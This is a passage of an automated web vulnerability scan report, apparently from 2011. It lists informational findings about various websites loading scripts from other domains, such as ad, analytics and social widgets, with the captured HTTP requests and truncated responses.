Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Date: Sat, 05 Feb 2011 21:47:49 GMT
Content-Type: text/html
Connection: keep-alive
Keep-Alive: timeout=15, max=500
Content-Length: 28717

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html><head><title>HTML Tracert Nslookup - Free Downloads of HTML Tracert Nslookup Softw
...[SNIP]...
</script><script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</script><script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</script><script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

21.260. http://www.freedownloadscenter.com/terms/team-calendar/calendar.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.freedownloadscenter.com
Path:	/terms/team-calendar/calendar.html

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /terms/team-calendar/calendar.html HTTP/1.1
Host: www.freedownloadscenter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=118730462.1296942490.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=118730462.1479561773.1296942490.1296942490.1296942490.1; __utmc=118730462; __utmb=118730462.1.10.1296942490;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Date: Sat, 05 Feb 2011 22:05:01 GMT
Content-Type: text/html
Connection: close
Keep-Alive: timeout=15, max=500
Content-Length: 29475

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html><head><title>Team Calendar - Free Downloads of Team Calendar Software</title><META
...[SNIP]...
</script><script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</script><script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</script><script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

21.261. http://www.freewebs.com/ftasatworld/upgradefortecultra.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.freewebs.com
Path:	/ftasatworld/upgradefortecultra.htm

Issue detail

The response dynamically includes the following scripts from other domains:

http://images.webs.com/static/global/js/webs/usersites/escort.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://s7.addthis.com/js/addthis_widget.php?v=12

Request

GET /ftasatworld/upgradefortecultra.htm HTTP/1.1
Host: www.freewebs.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 17:58:10 GMT
Server: Apache/1.3.39 (Unix) mod_jk/1.2.26 mod_layout/3.2 mod_gzip/1.3.19.1a mod_throttle/3.1.2
X-Powered-By: ModLayout/3.2
Content-Type: text/html
Content-Length: 15149

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<script type="text/javascript" src="http://images.webs.com/static/global/js/webs/usersites/escort.js"></script>
...[SNIP]...

21.262. http://www.gabbr.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.gabbr.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://code.jquery.com/jquery-latest.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://yui.yahooapis.com/2.2.0/build/connection/connection-min.js
http://yui.yahooapis.com/2.2.0/build/utilities/utilities.js
http://yui.yahooapis.com/2.2.0/build/yahoo/yahoo-min.js

Request

GET / HTTP/1.1
Host: www.gabbr.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:03 GMT
Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Set-Cookie: PHPSESSID=304129d4b1724f3749e7964432dbea27; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 88632

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Gabbr.com</title>
<meta http-equ
...[SNIP]...

<script type="text/javascript" src="http://yui.yahooapis.com/2.2.0/build/yahoo/yahoo-min.js"></script>
<script type="text/javascript" src="http://yui.yahooapis.com/2.2.0/build/connection/connection-min.js"></script>


<script type="text/javascript" src="http://yui.yahooapis.com/2.2.0/build/utilities/utilities.js"></script>

<script src="http://code.jquery.com/jquery-latest.js"></script>
...[SNIP]...
</script>
                           <script type="text/javascript"
                            src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
                           </script>
...[SNIP]...

21.263. http://www.geektools.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.geektools.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET / HTTP/1.1
Host: www.geektools.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:05:53 GMT
Server: Apache
X-Powered-By: PHP/4.4.0
Connection: close
Content-Type: text/html
Content-Length: 6098


<HTML>
<HEAD>
<TITLE>G E E K T O O L S</TITLE>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=i
...[SNIP]...
</map>
<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.264. http://www.giveawayoftheday.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.giveawayoftheday.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://connect.facebook.net/en_US/all.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://s.web.informer.com/favorites-button.js?default

Request

GET / HTTP/1.1
Host: www.giveawayoftheday.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.8.54
Date: Sat, 05 Feb 2011 23:01:52 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Expires: Thu, 19 Nov 1981 08:52:00 GMT
X-Pingback: http://www.giveawayoftheday.com/xmlrpc.php
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified: Sat, 05 Feb 2011 23:01:38 GMT
Content-Length: 43884

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fb
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</a>
<script src="http://s.web.informer.com/favorites-button.js?default" type="text/javascript" charset="UTF-8"></script>
...[SNIP]...
</div>
<script src="http://connect.facebook.net/en_US/all.js"></script>
...[SNIP]...

21.265. http://www.godaddy.com/default.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/default.aspx

Issue detail

The response dynamically includes the following scripts from other domains:

http://img3.wsimg.com/AtlantisScripts/jquery/jquery-1.3.2.min.js
http://img3.wsimg.com/fastball/js_lib/FastballLibrary0005.js?version=1
http://img3.wsimg.com/fos/script/ProductAdvisor5.min.js
http://img3.wsimg.com/fos/script/QuickBuyInsert8.min.js
http://img3.wsimg.com/fos/script/ViewExtensionsInsert7.min.js
http://img3.wsimg.com/fos/script/atlantis_jquery8.min.js
http://img3.wsimg.com/fos/script/jquery.tablesorter.min.js
http://img3.wsimg.com/fos/script/sales13.min.js
http://img3.wsimg.com/pc/js/1/gd_js_20110203.min.js
http://www.googleadservices.com/pagead/conversion.js

Request

GET /default.aspx HTTP/1.1
Host: www.godaddy.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
Set-Cookie: ASP.NET_SessionId=pti1oy31fkse4dz0wjeamsua; path=/; HttpOnly
X-AspNet-Version: 2.0.50727
Set-Cookie: adc1=US; domain=godaddy.com; path=/
Set-Cookie: flag1=cflag=us; domain=godaddy.com; expires=Sun, 05-Feb-2012 22:05:55 GMT; path=/
Set-Cookie: currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 05-Feb-2012 22:05:55 GMT; path=/
Set-Cookie: currencypopin1=cdisplaypopin=false; domain=godaddy.com; expires=Sun, 05-Feb-2012 22:05:55 GMT; path=/
Set-Cookie: SplitValue1=48; domain=godaddy.com; path=/
Set-Cookie: traffic=cookies=1&referrer=&sitename=www.godaddy.com&page=/default.aspx&server=M1PWCORPWEB130&status=200 OK&querystring=&shopper=&privatelabelid=1&isc=&clientip=173.193.214.243&referringpath=&referringdomain=&split=48; domain=godaddy.com; path=/
Set-Cookie: GoogleADServicesgoogleadwordshome=vbfgvejjzeofuihbqhpfcbpgibfeheyi; domain=godaddy.com; expires=Fri, 05-Feb-2021 22:05:55 GMT; path=/
Set-Cookie: HPBackground=DanicaImageOne; path=/
Date: Sat, 05 Feb 2011 22:05:55 GMT
Connection: close
Content-Length: 204633

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><li
...[SNIP]...
<body id="ctl00_PageBody" style="width:100%;margin:0;">

<script src="http://img3.wsimg.com/AtlantisScripts/jquery/jquery-1.3.2.min.js" type="text/javascript"></script>
...[SNIP]...


<script type="text/javascript" language="javascript" src="http://img3.wsimg.com/pc/js/1/gd_js_20110203.min.js"></script>
...[SNIP]...
</ul>

<script src="http://img3.wsimg.com/fos/script/atlantis_jquery8.min.js" type="text/javascript"></script>
...[SNIP]...
</style>

<script src="http://img3.wsimg.com/fos/script/QuickBuyInsert8.min.js" type="text/javascript"></script>
...[SNIP]...
<div id="bottomPod02" style="width:1000px;height:192px;">

<script src="http://img3.wsimg.com/fos/script/ProductAdvisor5.min.js" type="text/javascript"></script>
...[SNIP]...
<div class="PodContainer">

<script src="http://img3.wsimg.com/fos/script/ViewExtensionsInsert7.min.js" type="text/javascript"></script>

<script src="http://img3.wsimg.com/fos/script/jquery.tablesorter.min.js" type="text/javascript"></script>
...[SNIP]...
</script><script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js"></script>
...[SNIP]...
</div>

<script src="http://img3.wsimg.com/fastball/js_lib/FastballLibrary0005.js?version=1" type="text/javascript"></script>

<script src="http://img3.wsimg.com/fos/script/sales13.min.js" type="text/javascript"></script>
...[SNIP]...

21.266. https://www.google.com/adsense/support/bin/request.py previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.google.com
Path:	/adsense/support/bin/request.py

Issue detail

The response dynamically includes the following script from another domain:

https://ssl.google-analytics.com/ga.js

Request

GET /adsense/support/bin/request.py HTTP/1.1
Host: www.google.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173272373.1294766927.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=173272373.1871872.1294766927.1294766927.1294766927.1; PREF=ID=11a9f75446a95c33:U=28a8b1ad565a039a:FF=0:TM=1293845297:LM=1296932041:GM=1:S=NDlWCWhRSX8WRFLQ; NID=43=Cig5UOc1wv5sfNglqsyNnFFEHFTegiEsPcNcebZoaufNwyNg_IQMlCYN52J936mT_QhaGnP1ldozomC9pKE6pPObVlBzwrbZzma55sFIQ07o-FXH1wkI_XBsSCK3Q2fY;

Response

HTTP/1.1 200 OK
Set-Cookie: N_T=sess%3D11e9fe3514f990f1%26v%3D2%26c%3De08e7d44%26s%3D4d4dc9d2%26t%3DR%3A0%3A%26sessref%3D; Expires=Sat, 05-Feb-2011 22:36:10 GMT; Path=/adsense/support; Secure; HttpOnly
Content-Type: text/html; charset=UTF-8
Date: Sat, 05 Feb 2011 22:06:10 GMT
Expires: Sat, 05 Feb 2011 22:06:10 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">
<head>
<script type="text/javascript">serverResponseTimeDelta=window.external&&window.extern
...[SNIP]...
</script>
<script src='//ssl.google-analytics.com/ga.js'
type='text/javascript'></script>
...[SNIP]...

21.267. http://www.hyves.nl/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.hyves.nl
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://cache.hyves-static.net/precompiled/jsc/footer.redesign.4c016882da97c221bd3f35b052ae5670.js
http://cache.hyves-static.net/precompiled/jsc/ga.246214310bdac3884258f34be05c29db.js
http://cache2.hyves-static.net/precompiled/jsc/header.4086fe756ebdfc134b5c9fed1d30a626.js
http://cache3.hyves-static.net/precompiled/headerTemplates_en_GB.9c97c99a183711a9.js
http://cache3.hyves-static.net/precompiled/jsc/fancy_layout_flml_wrap.5aa082144ab7d6d99e704aa4f8b5aff6.js
http://cache3.hyves-static.net/precompiled/jsc/misc.98e515f2b9459c792a14b2694a53b7b9.js
http://cache4.hyves-static.net/precompiled/jsc/FLML.e45f97f173da1fd6a329293bcdd10825.js
http://cache4.hyves-static.net/precompiled/jsc/framework.redesign.a42d160f2bc3dd73b275268c44aaf8cb.js

Request

GET / HTTP/1.1
Host: www.hyves.nl
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 05 Feb 2011 23:02:19 GMT
Content-Type: text/html; charset=ISO-8859-1
Connection: close
Set-Cookie: GP=fd0162ca; path=/; domain=.hyves.nl
Set-Cookie: PHPSESSID=4ae3ef637a098da9d54aee259f6ef392; path=/; domain=.hyves.nl; HttpOnly
Expires: Sat, 05 Feb 2011 23:02:18 GMT
Cache-Control: no-cache
Pragma: no-cache
Set-Cookie: chatInitialPresence=online; expires=Sun, 05-Feb-2012 23:02:18 GMT; path=/; domain=.hyves.nl
X-XRDS-Location: http://www.hyves.nl/api/openid/xrds/
Set-Cookie: realstatId=false; expires=Sat, 05-Feb-2011 23:32:18 GMT; path=/; domain=.hyves.nl
X-Hyves-Pagetype: W_0
Set-Cookie: SC=q1bKULLSNdJRSlWyApKJSlZKFqnJppYpJqlKtQA%3D; path=/; domain=.hyves.nl; httponly
Content-Length: 103633

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>


<head>
<
...[SNIP]...
<link rel="shortcut icon" href="http://cache1.hyves-static.net/images/favicon.2f6cb547.ico" type="image/x-icon">
<script type="text/javascript" src="http://cache4.hyves-static.net/precompiled/jsc/framework.redesign.a42d160f2bc3dd73b275268c44aaf8cb.js"></script>
<script type="text/javascript" src="http://cache3.hyves-static.net/precompiled/jsc/misc.98e515f2b9459c792a14b2694a53b7b9.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://cache2.hyves-static.net/precompiled/jsc/header.4086fe756ebdfc134b5c9fed1d30a626.js"></script>
<script type="text/javascript" src="http://cache4.hyves-static.net/precompiled/jsc/FLML.e45f97f173da1fd6a329293bcdd10825.js"></script>
<script type="text/javascript" src="http://cache3.hyves-static.net/precompiled/jsc/fancy_layout_flml_wrap.5aa082144ab7d6d99e704aa4f8b5aff6.js"></script>
...[SNIP]...
</div>
<script type="text/javascript" src="http://cache.hyves-static.net/precompiled/jsc/footer.redesign.4c016882da97c221bd3f35b052ae5670.js"></script>
<script type="text/javascript" src="http://cache3.hyves-static.net/precompiled/headerTemplates_en_GB.9c97c99a183711a9.js"></script>
...[SNIP]...
</script>
<script src="http://cache.hyves-static.net/precompiled/jsc/ga.246214310bdac3884258f34be05c29db.js" type="text/javascript"></script>
...[SNIP]...

21.268. https://www.infosecisland.com/blogview/5213-Splunk-4-Users-Review.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.infosecisland.com
Path:	/blogview/5213-Splunk-4-Users-Review.html

Issue detail

The response dynamically includes the following scripts from other domains:

https://s7.addthis.com/js/250/addthis_widget.js
https://secure.quantserve.com/quant.js

Request

GET /blogview/5213-Splunk-4-Users-Review.html HTTP/1.1
Host: www.infosecisland.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

21.269. http://www.jamespot.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.jamespot.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://connect.facebook.net/en_US/all.js
http://edge.quantserve.com/quant.js
http://partner.googleadservices.com/gampad/google_service.js
http://www.google-analytics.com/urchin.js

Request

GET / HTTP/1.1
Host: www.jamespot.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:31 GMT
Server: Apache
X-Powered-By: PHP/5.2.4-2ubuntu5.7
Set-Cookie: PHPSESSID=d91b292d793955339277dc21d122a4a7; path=/
Expires: 2011-02-06 00:02:31
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 14696

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Conten
...[SNIP]...
</script>
<script type="text/javascript" src="http://partner.googleadservices.com/gampad/google_service.js">
</script>
...[SNIP]...
</div>

<script src="http://connect.facebook.net/en_US/all.js"></script>
...[SNIP]...
</div>

    <script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
   </script>
...[SNIP]...
</script>
   <script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
...[SNIP]...

21.270. http://www.jazdtech.com/techdirect/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.jazdtech.com
Path:	/techdirect/

Issue detail

The response dynamically includes the following script from another domain:

http://static.getclicky.com/js

Request

GET /techdirect/ HTTP/1.1
Host: www.jazdtech.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:01:52 GMT
Set-Cookie: JazdSession="a60b5303-7988-48d1-88b3-467a83635a2c:1297008112717"; Version=1; Max-Age=3600; Expires=Sun, 06-Feb-2011 17:01:52 GMT; Path=/
Set-Cookie: JazdTestCookie=1297008112717; Expires=Mon, 06-Feb-2012 16:01:52 GMT; Path=/
Set-Cookie: JSESSIONID=90039B3D2C4BBD4CB6E1E02847F77216; Path=/
Content-Type: text/html;charset=UTF-8
Content-Language: en
Connection: close
Content-Length: 74356

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<META name=
...[SNIP]...
</script>

<script src="http://static.getclicky.com/js" type="text/javascript"></script>
...[SNIP]...

21.271. http://www.jumptags.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.jumptags.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
http://www.google.com/jsapi

Request

GET / HTTP/1.1
Host: www.jumptags.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Expires: Sunday 15-May-1994 12:00:00 GMT
Date: Sat, 05 Feb 2011 22:44:27 GMT
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: CFID=145699893;expires=Mon, 28-Jan-2041 22:44:28 GMT;path=/
Set-Cookie: CFTOKEN=35433768;expires=Mon, 28-Jan-2041 22:44:28 GMT;path=/
Set-Cookie: JSESSIONID=843024df4b03d69705a621542d641822c252;path=/
Set-Cookie: JOOZIT_ISLOGGEDIN=;expires=Fri, 05-Feb-2010 22:44:28 GMT;path=/
Content-Length: 66085

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<!-- *** POW
...[SNIP]...
</script>

<script src=http://www.google.com/jsapi type="text/javascript"></script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...

21.272. http://www.kledy.co.uk/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.co.uk
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://cdn.wibiya.com/Toolbars/dir_0003/Toolbar_3508/Loader_3508.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://tracker.icerocket.com/services/collector.js
http://videos.video-loader.com/sp/37211909126091178247379.js

Request

GET / HTTP/1.1
Host: www.kledy.co.uk
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:07:22 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Set-Cookie: PHPSESSID=mjf53qgnjfv1dhtmblks7bhvd79f4mds; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 84206

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html dir="ltr" xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
<center>
<script type="text/javascript" src="http://videos.video-loader.com/sp/37211909126091178247379.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://tracker.icerocket.com/services/collector.js"></script>
<br>
<script src="http://cdn.wibiya.com/Toolbars/dir_0003/Toolbar_3508/Loader_3508.js" type="text/javascript"></script>
...[SNIP]...

21.273. http://www.kledy.de/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.de
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://cdn.clipkit.de/216/playlist/404/player.js
http://cdn.wibiya.com/Toolbars/dir_0003/Toolbar_3508/Loader_3508.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://platform.twitter.com/widgets.js
http://tracker.icerocket.com/services/collector.js
http://videos.video-loader.com/sp/81211909126097148926263.js

Request

GET / HTTP/1.1
Host: www.kledy.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:24 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Set-Cookie: PHPSESSID=fqnkbgtr0350al00cli6ki19mb37khen; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 50490

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">

<html dir="ltr" lang="de">
   <head>


    <meta name="description" content="Aktuelle Nachrichten und Videos aus Politik, Wirtschaft
...[SNIP]...
</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...
<div class="center_modules_padd">


                               <script type="text/javascript" src="http://cdn.clipkit.de/216/playlist/404/player.js"></script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
<center>
<script type="text/javascript" src="http://videos.video-loader.com/sp/81211909126097148926263.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://tracker.icerocket.com/services/collector.js"></script>
   <script src="http://cdn.wibiya.com/Toolbars/dir_0003/Toolbar_3508/Loader_3508.js" type="text/javascript"></script>
...[SNIP]...

21.274. http://www.kledy.de/bookmarks.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.de
Path:	/bookmarks.php

Issue detail

The response dynamically includes the following scripts from other domains:

http://cdn.wibiya.com/Toolbars/dir_0003/Toolbar_3508/Loader_3508.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://platform.twitter.com/widgets.js
http://s7.addthis.com/js/250/addthis_widget.js
http://tracker.icerocket.com/services/collector.js
http://videos.video-loader.com/sp/81211909126097148926263.js

Request

Response

21.275. http://www.kledy.de/bookmarks.php/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.de
Path:	/bookmarks.php/

Issue detail

The response dynamically includes the following scripts from other domains:

http://cdn.wibiya.com/Toolbars/dir_0003/Toolbar_3508/Loader_3508.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://platform.twitter.com/widgets.js
http://s7.addthis.com/js/250/addthis_widget.js
http://tracker.icerocket.com/services/collector.js
http://videos.video-loader.com/sp/81211909126097148926263.js

Request

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:32:59 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 94655

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">

<html dir="ltr" lang="de">
   <head>


    <meta name="description" content="Aktuelle Nachrichten und Videos aus Politik, Wirtschaft
...[SNIP]...
</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...
</a><script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=Kledy"></script>
...[SNIP]...
</a><script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=Kledy"></script>
...[SNIP]...
</a><script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=Kledy"></script>
...[SNIP]...
</a><script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=Kledy"></script>
...[SNIP]...
</a><script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=Kledy"></script>
...[SNIP]...
</a><script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=Kledy"></script>
...[SNIP]...
</a><script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=Kledy"></script>
...[SNIP]...
</a><script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=Kledy"></script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
<center>
<script type="text/javascript" src="http://videos.video-loader.com/sp/81211909126097148926263.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://tracker.icerocket.com/services/collector.js"></script>
